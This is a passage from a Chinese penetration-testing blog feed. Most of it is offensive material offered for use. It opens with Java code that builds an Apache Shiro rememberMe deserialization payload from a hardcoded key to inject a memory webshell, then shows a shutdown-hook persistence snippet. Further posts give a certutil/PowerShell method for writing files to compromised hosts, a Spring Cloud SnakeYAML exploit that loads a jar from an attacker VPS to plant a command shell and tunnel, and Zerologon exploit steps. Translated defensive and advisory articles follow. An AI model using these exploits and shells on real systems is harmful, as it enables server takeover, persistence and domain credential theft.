        String command = "E:\code\java\MyAgent\out\artifacts\MyAgent_jar\MyAgent.jar";
        Object templates = createTemplatesImpl(command);
        InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformer);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);
        HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;

        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException var17) {
            f = HashSet.class.getDeclaredField("backingMap");
        }

        Reflections.setAccessible(f);
        HashMap innimpl = null;
        innimpl = (HashMap) f.get(map);
        Field f2 = null;

        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException var16) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }

        Reflections.setAccessible(f2);
        Object[] array = new Object[0];
        array = (Object[]) ((Object[]) f2.get(innimpl));
        Object node = array[0];
        if (node == null) {
            node = array[1];
        }

        Field keyField = null;

        try {
            keyField = node.getClass().getDeclaredField("key");
        } catch (Exception var15) {
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }

        Reflections.setAccessible(keyField);
        keyField.set(node, entry);
        Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

        byte[] bytes = Serializables.serializeToBytes(map);
        String key = "kPH+bIxk5D2deZiIxcaaaA==";
        String rememberMe = EncryptUtil.shiroEncrypt(key, bytes);
        System.out.println(rememberMe);
    }

    public static class Foo implements Serializable {
        private static final long serialVersionUID = 8207363842866235160L;

        public Foo() {
        }
    }

    public static class StubTransletPayload extends AbstractTranslet implements Serializable {
        private static final long serialVersionUID = -5971610431559700674L;

        public StubTransletPayload() {
        }

        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
        }

        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
        }
    }


}

class Serializables {
    public static byte[] serializeToBytes(final Object obj) throws Exception {
        final ByteArrayOutputStream out = new ByteArrayOutputStream();
        final ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
        objOut.flush();
        objOut.close();
        return out.toByteArray();
    }


    public static Object deserializeFromBytes(final byte[] serialized) throws Exception {
        final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
        final ObjectInputStream objIn = new ObjectInputStream(in);
        return objIn.readObject();
    }

    public static void serializeToFile(String path, Object obj) throws Exception {
        FileOutputStream fos = new FileOutputStream("object");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        //writeObject()方法将obj对象写入object文件
        os.writeObject(obj);
        os.close();
    }

    public static Object serializeFromFile(String path) throws Exception {
        FileInputStream fis = new FileInputStream(path);
        ObjectInputStream ois = new ObjectInputStream(fis);
        // 通过Object的readObject()恢复对象
        Object obj = ois.readObject();
        ois.close();
        return obj;
    }

}


class EncryptUtil {
    private static final String ENCRY_ALGORITHM = "AES";
    private static final String CIPHER_MODE = "AES/CBC/PKCS5Padding";
    private static final byte[] IV = "aaaaaaaaaaaaaaaa".getBytes();     // 16字节IV

    public EncryptUtil() {
    }

    public static byte[] encrypt(byte[] clearTextBytes, byte[] pwdBytes) {
        try {
            SecretKeySpec keySpec = new SecretKeySpec(pwdBytes, ENCRY_ALGORITHM);
            Cipher cipher = Cipher.getInstance(CIPHER_MODE);
            IvParameterSpec iv = new IvParameterSpec(IV);
            cipher.init(1, keySpec, iv);
            byte[] cipherTextBytes = cipher.doFinal(clearTextBytes);
            return cipherTextBytes;
        } catch (NoSuchPaddingException var6) {
            var6.printStackTrace();
        } catch (NoSuchAlgorithmException var7) {
            var7.printStackTrace();
        } catch (BadPaddingException var8) {
            var8.printStackTrace();
        } catch (IllegalBlockSizeException var9) {
            var9.printStackTrace();
        } catch (InvalidKeyException var10) {
            var10.printStackTrace();
        } catch (Exception var11) {
            var11.printStackTrace();
        }

        return null;
    }

    public static String shiroEncrypt(String key, byte[] objectBytes) {
        byte[] pwd = Base64.decode(key);
        byte[] cipher = encrypt(objectBytes, pwd);

        assert cipher != null;

        byte[] output = new byte[pwd.length + cipher.length];
        byte[] iv = IV;
        System.arraycopy(iv, 0, output, 0, iv.length);
        System.arraycopy(cipher, 0, output, pwd.length, cipher.length);
        return Base64.encode(output);
    }
}
</code></pre>
<p>在javassist插桩的时候碰到很多坑，比如泛型要用<code>/**/</code>包起来，反射的可变参数的处理等等，不一一细讲，参考我的代码就行了。</p>
<h1>效果</h1>
<p><img src="/wp-content/uploads/2020/10/21f519ec-a731-13c4-eb06-60d03b75fc67.gif" alt="shell.gif" /></p>
<p>项目地址：https://github.com/Y4er/javaagent-tomcat-memshell</p>
<h1>思考</h1>
<p>写到这里又看了一些文章，发现了一些问题。</p>
<h2>内存shell复活</h2>
<p>@rebeyond 师傅的memShell项目实现了内存shell复活，原理是通过设置Java虚拟机的关闭钩子ShutdownHook来达到这个目的，但是会有一个jar包循环等待jvm进程起来，更敏感，我就没实现这个东西，代码贴出来</p>
<pre><code class="language-java line-numbers">public static void persist() {
     try {
         Thread t = new Thread() {
             public void run() {
                 try {
                     writeFiles("inject.jar",Agent.injectFileBytes);
                     writeFiles("agent.jar",Agent.agentFileBytes);
                     startInject();
                 } catch (Exception e) {

                 }
             }
         };
         t.setName("shutdown Thread");
         Runtime.getRuntime().addShutdownHook(t);
     } catch (Throwable t) {
     }
}
</code></pre>
<p>JVM关闭前，会先调用writeFiles把inject.jar和agent.jar写到磁盘上，然后调用startInject，startInject通过Runtime.exec启动<code>java -jar inject.jar</code>。</p>
<h2>文件落地并且被锁定</h2>
<p>用javaagent的形式实现的内存shell，你需要落地一个agent进去，加载agent之后jar不能被删除，而落地agent会不会更敏感？</p>
<p>与其落地文件为什么不直接落地jsp shell，获取对于mvc和springboot这种有点作用，但是内存shell的意义确实被削弱了。</p>
<h2>通用性</h2>
<p>只需要寻找关键类即可，对于tomcat、weblogic这种还算通用，完全可以实现一个agent.jar通杀。</p>
<h2>关键类寻找</h2>
<p>如果关键类找不对，或者错了几个参数的命名，那么中间件正常处理filter的逻辑很可能发生错误，中间件很可能被打挂。虽然可以本地环境调试，但是每个发行版不同、补丁数的不同所带来的不稳定因素还是很大的。</p>
<h2>结论</h2>
<p>所以个人而言，agent类型的内存shell只能作为内存shell的一种开拓性思路，实际环境更应该倾向于servlet、filter这种内存shell，重在稳定。</p>
<h1>参考</h1>
<ol>
<li>https://www.cnblogs.com/rebeyond/p/9686213.html</li>
<li>https://github.com/rebeyond/memShell</li>
<li>https://www.cnblogs.com/rickiyang/p/11368932.html</li>
<li>https://github.com/Y4er/javaagent-tomcat-memshell</li>
</ol>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>极限环境Certutil加Powershell配合Burp快速落地文件</title>
		<link>/web/1917.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Mon, 28 Sep 2020 07:10:17 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[certutil]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[powershell]]></category>
		<category><![CDATA[上线]]></category>
		<guid isPermaLink="false">/?p=1917</guid>

					<description><![CDATA[碰到一些极限环境，比如站库分离只出dns的时候，想上线cs的马，但是文件迟迟不能落地，相信很多人都会想到certutil等工具。 而在使用certutil base64通过echo...]]></description>
										<content:encoded><![CDATA[<p>碰到一些极限环境，比如站库分离只出<span class="wpcom_tag_link"><a href="/tags/dns" title="dns" target="_blank">dns</a></span>的时候，想<span class="wpcom_tag_link"><a href="/tags/%e4%b8%8a%e7%ba%bf" title="上线" target="_blank">上线</a></span>cs的马，但是文件迟迟不能落地，相信很多人都会想到<span class="wpcom_tag_link"><a href="/tags/certutil" title="certutil" target="_blank">certutil</a></span>等工具。</p>
<p>而在使用certutil base64通过echo写文件时，echo会在每行的末尾追加一个空格，加上http传输的URL编码问题，有一些傻逼环境总是decode时候出错，而且一些几十几百k的文件，一行一行echo实在是拉跨。所以用<span class="wpcom_tag_link"><a href="/tags/powershell" title="powershell" target="_blank">powershell</a></span>配合bp的爆破模块来写文件，然后 <code>certutil -decode</code> 就完事了，轻松省心。</p>
<pre><code class="language-powershell line-numbers">powershell -c "'a' | Out-File C:\1.txt -Append"
</code></pre>
<p>写文件的时候通过bp的爆破模块去单线程写入文件，举一个请求包的例子。</p>
<pre><code class="language-http line-numbers">/login HTTP/1.1
Host: baidu.com

cmd=powershell -c "'§§' | Out-File C:\1.txt -Append"
</code></pre>
<p>设置参数<br />
<img src="https://y4er.com/img/uploads/20200928158664.png" alt="image.png" /></p>
<p>设置certutil encode的txt字典<br />
<img src="https://y4er.com/img/uploads/20200928155864.png" alt="image.png" /></p>
<p>勾上URL编码<br />
<img src="https://y4er.com/img/uploads/20200928158567.png" alt="image.png" /></p>
<p>设置单线程，你也可以设置每次请求之后sleep 1秒。<br />
<img src="https://y4er.com/img/uploads/20200928152618.png" alt="image.png" /></p>
<p>冲完之后落地到目标的txt文件和本地的txt文件hash一致，decode之后的文件hash仍然一致。</p>
<p>本地还原文件的hash<br />
<img src="https://y4er.com/img/uploads/20200928152292.png" alt="image.png" /></p>
<p>落地到目标还原之后的文件hash<br />
<img src="https://y4er.com/img/uploads/20200928150771.png" alt="image.png" /></p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Spring Cloud SnakeYAML 一键注册内存cmd shell和reGeorg</title>
		<link>/web/1913.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 24 Sep 2020 11:30:03 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[regeorg]]></category>
		<category><![CDATA[spring]]></category>
		<category><![CDATA[内存shell]]></category>
		<category><![CDATA[审计]]></category>
		<guid isPermaLink="false">/?p=1913</guid>

					<description><![CDATA[项目地址 https://github.com/Y4er/yaml-payload README 利用条件： &#8211; 可以 POST 请求目标网站的 /env 接口设置属性...]]></description>
										<content:encoded><![CDATA[<h1>项目地址</h1>
<p>https://github.com/Y4er/yaml-payload</p>
<h1>README</h1>
<p>利用条件：<br />
&#8211; 可以 POST 请求目标网站的 <code>/env</code> 接口设置属性<br />
&#8211; 可以 POST 请求目标网站的 <code>/refresh</code> 接口刷新配置（存在 <code><span class="wpcom_tag_link"><a href="/tags/spring" title="spring" target="_blank">spring</a></span>-boot-starter-actuator</code> 依赖）<br />
&#8211; 目标依赖的 <code>spring-cloud-starter</code> 版本 &lt; 1.3.0.RELEASE<br />
&#8211; 目标可以请求攻击者的 HTTP 服务器（请求可出外网）</p>
<p>仅在JDK1.8及Spring1.x测试通过,其他版本自测.</p>
<p>利用方法如下：</p>
<h2>编译class文件然后打jar包</h2>
<pre><code class="language-bash line-numbers">cd yaml-payload
javac src/artsploit/AwesomeScriptEngineFactory.java -cp ./lib
javac src/artsploit/Tunnel.java -cp ./lib
javac src/artsploit/GameInfo.java -cp ./lib
jar -cvf yaml-payload.jar -C src/ .
</code></pre>
<h2>托管 yml 和 jar 文件</h2>
<p>在自己控制的<code>vps</code>机器上开启一个简单<code>HTTP</code>服务器，端口尽量使用常见<code>HTTP</code>服务端口（80、443）</p>
<pre><code class="language-bash line-numbers"># 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
</code></pre>
<p>在网站根目录下放置后缀为<code>yml</code>的文件<code>yaml-payload.yml</code>,内容如下:</p>
<pre><code class="language-yaml line-numbers">!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://your-vps-ip/yaml-payload.jar"]
  ]]
]
</code></pre>
<p>在网站根目录下放置打包好的<code>yaml-payload.jar</code></p>
<h2>设置<code>spring.cloud.bootstrap.location</code>属性</h2>
<pre><code class="line-numbers">POST /env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/yaml-payload.yml
</code></pre>
<h2>刷新配置</h2>
<pre><code class="line-numbers">POST /refresh
Content-Type: application/x-www-form-urlencoded
</code></pre>
<h2>访问注入的shell</h2>
<ol>
<li>reGeorg: http://localhost:9092/api/v1/tunnel</li>
<li>cmd shell: http://localhost:9092/api/v1/game POST:code=whoami</li>
</ol>
<h1>参考</h1>
<ol>
<li>https://github.com/LandGrey/SpringBootVulExploit</li>
<li>https://www.anquanke.com/post/id/198886</li>
<li>https://github.com/artsploit/yaml-payload</li>
</ol>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CVE-2020-1472 POC</title>
		<link>/tools/1865.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 15 Sep 2020 01:35:11 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[exp]]></category>
		<category><![CDATA[域渗透]]></category>
		<category><![CDATA[工具]]></category>
		<guid isPermaLink="false">/?p=1865</guid>

					<description><![CDATA[https://github.com/dirkjanm/CVE-2020-1472 Requires the latest impacket from GitHub with ad...]]></description>
										<content:encoded><![CDATA[<p>https://github.com/dirkjanm/CVE-2020-1472</p>
<p>Requires the latest impacket from <a class="wp-editor-md-post-content-link" href="https://github.com/SecureAuthCorp/impacket">GitHub</a> with added netlogon structures.</p>
<p>Do note that by default this changes the password of the domain controller account. Yes this allows you to DCSync, but it also breaks communication with other domain controllers, so be careful with this!</p>
<p>More info and original research <a class="wp-editor-md-post-content-link" href="https://www.secura.com/blog/zero-logon">here</a></p>
<h2>Exploit steps</h2>
<ul>
<li>Read the blog/whitepaper above so you know what you&#8217;re doing</li>
<li>Run <code><span class="wpcom_tag_link"><a href="/tags/cve" title="cve" target="_blank">cve</a></span>-2020-1472-<span class="wpcom_tag_link"><a href="/tags/exp" title="exp" target="_blank">exp</a></span>loit.py</code> with IP and netbios name of DC</li>
<li>DCSync with secretsdump, using <code>-just-dc</code> and <code>-no-pass</code> or empty hashes and the <code>DCHOSTNAME$</code> account</li>
</ul>
<h2>Restore steps</h2>
<p>If you make sure that <a class="wp-editor-md-post-content-link" href="https://github.com/SecureAuthCorp/impacket/blob/64ce46580286b5ab15a4737bddf85201ce2adde3/impacket/examples/secretsdump.py#L1530">this line</a> in secretsdump passes (so make it <code>if True:</code> for example) secretsdump will also dump the plaintext (hex encoded) machine account password from the registry. You can do this by running it against the same DC and using a DA account.</p>
<p>Alternatively you can dump this same password by first extracting the registry hives and then running secretsdump offline (it will then always print the plaintext key because it can&#8217;t calculate the Kerberos hashes, this saves you modifying the library).</p>
<p>With this password you can run <code>restorepassword.py</code> with the <code>-hexpass</code> parameter. This will first authenticate with the empty password to the same DC and then set the password back to the original one. Make sure you supply the netbios name and IP again as target, so for example:</p>
<pre><code class="line-numbers">python restorepassword.py testsegment/s2016dc@s2016dc -target-ip 192.168.222.113 -hexpass e6ad4c4f64e71cf8c8020aa44bbd70ee711b8dce2adecd7e0d7fd1d76d70a848c987450c5be97b230bd144f3c3...etc
</code></pre>
<p><img src="/wp-content/uploads/2020/09/8024de24-ca3f-e0f9-2821-a65231c2896e-3.png" alt="image.png" /></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>[翻译]通过AMSI和机器学习阻断Active Directory攻击和其他后渗透行为</title>
		<link>/translate/1859.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 09 Sep 2020 02:45:47 +0000</pubDate>
				<category><![CDATA[翻译文章]]></category>
		<category><![CDATA[AMSI]]></category>
		<guid isPermaLink="false">/?p=1859</guid>

					<description><![CDATA[原文来自：微软Defender ATP研究团队 翻译@Y4er 原文链接：https://www.microsoft.com/security/blog/2020/08/27/st...]]></description>
										<content:encoded><![CDATA[<blockquote><p>
  原文来自：微软Defender ATP研究团队 翻译@Y4er</p>
<p>  原文链接：https://www.microsoft.com/security/blog/2020/08/27/stopping-active-directory-attacks-and-other-post-exploitation-behavior-with-amsi-and-machine-learning/
</p></blockquote>
<p>当红队人员成功进入目标内网后，通常下一步是对网络进行信息收集，提权并横向移动以到达特定计算机，或尽可能的拿到更多机器权限。对于这些操作，攻击者通常会探查受影响网络的 Active Directory，该 Active Directory 管理域的身份验证和资源权限。攻击者利用枚举用户并与 Active Directory 进行交互来进行信息搜集，从而实现横向移动和特权升级。这是 Ryuk 等勒索软件中的常见的攻击手段。</p>
<p>这些后渗透的行为在很大程度上依赖于 PowerShell 和 WMI 之类的脚本引擎，因为这类脚本为攻击者提供了灵活性，并使他们能够像正常的人为活动一样融入企业防护设备。脚本是轻量级的，可以相对容易地进行伪装和混淆，并且可以通过命令行直接将其加载到内存中或在内存中直接与脚本引擎交互来实现无文件运行。</p>
<p>反恶意软件扫描接口（<span class="wpcom_tag_link"><a href="/tags/amsi" title="AMSI" target="_blank">AMSI</a></span>）通过公开脚本内容和行为来帮助安全软件检测此类恶意脚本。AMSI 与 Windows 10 以及 Office 365 VBA 上的脚本引擎集成在一起，以深入了解 PowerShell，WMI，VBScript，JavaScript 和 Office VBA 宏的执行。Microsoft Defender 高级威胁防护（ATP）中的行为阻止和遏制功能充分利用了 AMSI 对脚本的可见性，并利用机器学习和云提供的保护功能来检测和阻止恶意行为。在更广泛的协调防御中，由 AMSI 驱动的对端点上恶意脚本的检测有助于 Microsoft 威胁防护，它将来自 Microsoft Defender ATP 的信号和 Microsoft 365 安全产品组合中的其他解决方案相结合，以检测跨域攻击链。</p>
<p>在端点上，性能优化的机器学习模型通过 AMSI 检查脚本内容和行为。当脚本运行并且检测到恶意或可疑行为时，将从内容中提取特征，包括专业特征，机器学习选择的特征以及模糊哈希。轻量级客户端机器学习模型会对内容进行推断。如果内容被分类为可疑，则将特征描述发送到云以进行实时全面分类。在云中，重量级机器学习模型会分析元数据，并使用其他特征（例如文件年龄，流行程度和其他的此类信息）来确定是否应阻止脚本。</p>
<p>这些由 AMSI 驱动的机器学习分类器对，每个脚本引擎一对，使 Microsoft Defender ATP 能够检测恶意行为并阻止利用后渗透技术和其他基于脚本的攻击，即使它们已经开始运行。在本文中，我们将讨论一些被 AMSI 机器学习阻止的域攻击示例，包括无文件落地。</p>
<p><img src="https://www.microsoft.com/security/blog/wp-content/uploads/2020/08/fig1-pair-of-AMSI-machine-learning-models.png" alt="该图显示了使用AMSI检测恶意脚本的端点和云中的成对机器学习模型" /></p>
<p><center>图1.客户端和云中的一对AMSI机器学习模型</center></p>
<h2>拦截 BloodHound</h2>
<p>BloodHound 是一种流行的开源工具，用于枚举和可视化 Active Directory 域，并且被红队和攻击者用作后渗透工具。该工具会生成一个允许使用域设备，用户主动登录到设备以及资源及其所有权限的图表。攻击者可以通过接管其他用户帐户或将自己添加到具有高特权的组中，或寻求横向移动路径以达到其目标特权，来发现和滥用弱权限配置，以进行特权升级。攻击者（包括 Ryuk 等勒索软件的开发者）都使用 BloodHound 作为攻击的一部分。</p>
<p>BloodHound 使用了称为 <strong>SharpHound</strong> 的组件来枚举域并收集各种类别的数据：本地管理员收集，组成员身份收集，会话收集，对象属性收集，ACL收集和信任收集。然后，通常在计划下一步的过程中，将这些枚举进行过滤，以供攻击者可视化和分析。SharpHound 执行域枚举，并正式发布为无文件落地的PowerShell内存版本和基于exe的可执行文件。如果 PowerShell 在网络上处于活动状态，那么确定其无文件变种至关重要。</p>
<p><img src="https://www.microsoft.com/security/blog/wp-content/uploads/2020/08/fig2-SharpHound-ingeestor-code.png" alt="SharpHound摄取器的代码段" /></p>
<p><center>图2. SharpHound 摄取器代码片段</center></p>
<p>当 SharpHound 无文件的 PowerShell 在内存中运行时，无论是渗透测试人员还是攻击者，AMSI都会看到其执行缓冲区。客户端上的机器学习模型使该缓冲区处于优先状态，并将其发送到云以进行最终分类。</p>
<p><img src="https://www.microsoft.com/security/blog/wp-content/uploads/2020/08/fig3-Featurized-SharpHound-ingestor-code.png" alt="SharpHound摄取器的代码段显示了特征化的细节" /></p>
<p><center>图3.示例化的SharpHound摄取器代码</center></p>
<p>云中的对应机器学习模型会分析元数据，整合其他信号并返回结论。实时检测到恶意脚本并在端点上将其停止：</p>
<p><img src="https://www.microsoft.com/security/blog/wp-content/uploads/2020/08/fig4-Microsoft-Defender-Antivirus-detection-Sharphound.png" alt="用于检测SharpHound的Microsoft Defender防病毒警报的屏幕快照" /></p>
<p><center>图4. SharpHound的Microsoft Defender防病毒检测</center></p>
<p>检测到的错误被报告到 Microsoft Defender 安全中心，SOC分析人员可以在其中使用Microsoft Defender ATP的丰富工具来调查和响应攻击：</p>
<p><img src="https://www.microsoft.com/security/blog/wp-content/uploads/2020/08/fig5a-Microsoft-Defender-Security-Center-alert-SharpHound.png" alt="Microsoft Defender安全中心的屏幕截图，显示了对SharpHound的检测" /></p>
<p><center>图5. Microsoft Defender安全中心警报显示检测到SharpHound</center></p>
<p>AI已经学会了自动识别和阻止这些攻击，并且将继续适应和学习我们观察到的新攻击方法，从而提供这种保护。</p>
<h2>Stopping Kerberoasting</h2>
<p>像BloodHound攻击一样，Kerberoasting是一种红队用于窃取凭据的技术。Kerberoasting攻击滥用Kerberos票证授予服务（TGS）来获取帐户访问权限，该帐户通常针对域帐户进行横向移动。</p>
<p>Kerberos攻击涉及扫描Active Directory环境以生成具有Kerberos服务主体名称（SPN）的用户帐户列表。攻击者请求这些SPN将Kerberos服务票证授予这些帐户，然后使用Mimikatz等各种工具将票证从内存中转储，然后对其进行抽取以对票证的加密段进行脱机暴力破解。如果成功，攻击者可以识别与帐户关联的密码，然后将其用于远程登录计算机或访问资源。</p>
<p>导致散列提取的所有Kerberoasing攻击步骤都可以使用单个PowerShell（<em>Invoke-Kerberoast.ps1</em>）完成，并且已集成到流行的利用后框架中，例如 <strong>PowerSploit</strong> 和 <strong>Empire</strong>：</p>
<p><img src="https://www.microsoft.com/security/blog/wp-content/uploads/2020/08/Fig6a-Command-line-to-downloan-run-Kerberoasting.png" alt="img" /></p>
<p><center>图6.用于下载和执行Kerberoasting以提取用户密码哈希的单个命令行</center></p>
<p><img src="https://www.microsoft.com/security/blog/wp-content/uploads/2020/08/Fig7-Kerberoasting-code.png" alt="Kerberoasting的代码段" /></p>
<p><center>图7. Kerberoasting代码</center></p>
<p>由于AMSI对PowerShell脚本具有可见性，因此在运行<em>Invoke-Kerberoast.ps1</em>时，AMSI 允许在运行时检查PowerShell的内容。此缓冲区由客户端机器学习模型进行特征化和分析，然后发送到云以进行实时ML分类。</p>
<p><img src="https://www.microsoft.com/security/blog/wp-content/uploads/2020/08/Fig8-Featurized-Kerberoasing-code.png" alt="显示出完美细节的Kerberoasting代码段" /></p>
<p><center>图8.示例化的Kerberoasting代码</center></p>
<p>Microsoft Defender ATP发出检测<em>Invoke-Kerberoast.ps1</em>的警报：</p>
<p><img src="https://www.microsoft.com/security/blog/wp-content/uploads/2020/08/Fig9-Microsoft-Defender-ATP-alert-Kerberoasting.png" alt="img" /></p>
<p><center>图9. Microsoft Defender安全中心警报，显示检测到**Invoke-Kerberoast.ps1</center></p>
<h2>训练机器学习模型</h2>
<p>为了确保持续高质量地检测威胁，每个脚本引擎使用实时保护数据和威胁调查对AMSI机器学习模型进行了训练。</p>
<p>功能化是机器学习模型做出关于内容是恶意的还是良性的智能决策的关键。对于基于行为的脚本日志，我们提取脚本使用的库、COM对象和函数名称的集合。学习脚本内容中最重要的功能的方法是，通过对脚本或行为日志中的字符进行字符编码，然后结合具有L1正则化功能修整的半异步随机双坐标上升（SA-SDCA）算法来学习和部署最重要的功能字符ngram功能。</p>
<p>除了用于训练客户端模型的相同功能之外，用于训练云模式的其他复杂功能还包括模糊哈希，聚类哈希，部分哈希等。此外，云模型还可以访问其他信息，例如文件年龄，流行程度，全局文件信息，信誉等，这使云模型可以做出更准确的决策来进行阻止。</p>
<h2>结论：广泛的知名度为AI驱动的保护提供了信息</h2>
<p>在整个Microsoft中，人工智能和机器学习保护技术利用Microsoft在各种表面上的广泛可见性来识别新的和未知的威胁。Microsoft威胁防护使用这些机器学习驱动的防护来检测跨端点，电子邮件和数据，身份和应用程序的威胁。</p>
<p>在终结点计算机上，Microsoft Defender ATP使用多个下一代保护引擎来检测各种威胁。这些引擎之一利用来自AMSI的见解以及客户端和云中的成对机器学习模型协同工作，以检测并阻止执行后的恶意脚本。</p>
<p>这些AMSI模型对（每个脚本引擎一对）是Microsoft Defender ATP中基于行为的阻止和遏制功能的一部分，该功能旨在检测和阻止威胁，即使它们已经开始运行。在运行时，威胁是暴露的，无法隐藏在加密或混淆之后。复杂的威胁可以通过执行前防御进行防御，这为实例增加了另一层保护。</p>
<p><img src="https://www.microsoft.com/security/blog/wp-content/uploads/2020/08/Fig10-Microsoft-Defender-ATP-next-generation-protection-engines.png" alt="该图显示了客户端和云中不同的下一代保护引擎" /></p>
<p><center>图10. Microsoft Defender ATP下一代保护引擎</center></p>
<p>在此博客文章中，我们展示了基于行为的机器学习保护对于检测和阻止后渗透恶意脚本（包括无文件）的利用，以及基于BloodHound的攻击和基于Kerberoasting的攻击而言，这对基于机器学习的AMSI驱动的至关重要。通过AMSI，脚本内容和行为得以公开，从而使Microsoft Defender ATP能够阻止侦察活动并阻止攻击的进行。</p>
<p>要了解有关基于行为的阻止和遏制的更多信息，请阅读以下博客文章：</p>
<ul>
<li>在难以捉摸的威胁的紧追中：基于AI的基于行为的阻止阻止了攻击的轨迹
<p>https://www.microsoft.com/security/blog/2019/10/08/in-hot-pursuit-of-elusive-threats-ai-driven-behavior-based-blocking-stops-attacks-in-their-tracks/</p>
</li>
<li>
<p>Behavioral blocking and containment: Transforming optics into protection</p>
<p>https://www.microsoft.com/security/blog/2020/03/09/behavioral-blocking-and-containment-transforming-optics-into-protection/</p>
</li>
</ul>
<p>微软Defender ATP研究团队：Ankit Garg and Geoff McDonald</p>
<h2>参考链接</h2>
<ol>
<li>Ryuk等勒索软件 https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/</li>
<li>反恶意软件扫描接口（AMSI）https://docs.microsoft.com/windows/desktop/amsi/antimalware-scan-interface-portal</li>
<li>Office 365 VBA  https://www.microsoft.com/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/</li>
<li>跨域攻击链  https://www.microsoft.com/security/blog/2020/07/29/inside-microsoft-threat-protection-solving-cross-domain-security-incidents-through-the-power-of-correlation-analytics/</li>
<li>SharpHound https://github.com/BloodHoundAD/SharpHound3</li>
<li>无文件落地SharpHound.ps1  https://github.com/BloodHoundAD/BloodHound/blob/master/Ingestors/SharpHound.ps1</li>
<li>PowerSploit  https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/</li>
<li>Empire  https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1</li>
</ol>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>[翻译]Win10 CloudExperienceHostBroker COM对象导致提权</title>
		<link>/translate/1856.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 09 Sep 2020 02:44:35 +0000</pubDate>
				<category><![CDATA[翻译文章]]></category>
		<category><![CDATA[com]]></category>
		<category><![CDATA[eop]]></category>
		<category><![CDATA[提权]]></category>
		<guid isPermaLink="false">/?p=1856</guid>

					<description><![CDATA[原文作者：forshaw@google.com 原文链接：https://bugs.chromium.org/p/project-zero/issues/detail?id=205...]]></description>
										<content:encoded><![CDATA[<blockquote><p>
  原文作者：forshaw@google.<span class="wpcom_tag_link"><a href="/tags/com" title="com" target="_blank">com</a></span><br />
  原文链接：https://bugs.chromium.org/p/project-zero/issues/detail?id=2051<br />
  译者：Y4er 水平有限，如有错误请及时反馈
</p></blockquote>
<p>Win10中计划任务中存在CloundExperienceHostBroker托管普通用户可以访问的不安全COM对象，从而导致特权提升。</p>
<h1>挖掘</h1>
<p>在Win10的默认安装中存在一个计划任务 <code>\Microsoft\Windows\CloudExperienceHost\CreateObjectTask</code>，该计划任务会用SYSTEM权限创建一个进程托管com类 <code>CloudExperienceHost Create System Object Server / f7fa3149-91e7-43b7-8040-b707688ced1a</code>。这是一个通用的COM代理，用于为用户提供在SYSTEM运行的类，以配置诸如OOBE和Retail Demo之类的东西。<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/5c93133a-542f-85f3-fbd5-2d00323aa017.png" alt="image.png" /></p>
<p>只要计划的任务和COM服务器都经过适当的ACL，这本身就不会成为问题。不幸的是，他并没有做ACL。计划任务可以由普通用户启动，并且COM服务器（f7fa3149-91e7-43b7-8040-b707688ced1a）在其AppID（f7fa3149-91e7-43b7-8040-b707688ced1a）中未指定限制性启动权限。 使用默认值授予INTERACTIVE组访问权限。</p>
<p>通常来讲，尽管INTERACTIVE可以创建新实例，但默认的访问权限仅会授予Administrators和SELF SID（即SYSTEM）访问权限。 但是，不知道是bug还是由于设计而定，当CloundExperienceHostBroker进程调用CoInitializeSecurity时，它都会使用不同的AppID（efe2d6d8-a81b-41e7-ae77-e5244ab80522），该ID也会授予 INTERACTIVE 访问权限。 最终结果是普通的非特权用户可以通过计划任务启动COM服务器，激活新实例并访问生成的COM服务器。</p>
<p>同样，只要COM服务器没有做任何危险的事情，这也不是问题。 COM服务器出售通用的ICreateObject接口，该接口允许用户传递要创建的CLSID。 代理将仅创建在<code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CloudExperienceHost\Broker\ElevatedClsids</code>中注册的类，在Windows 10 1909中为以下类。</p>
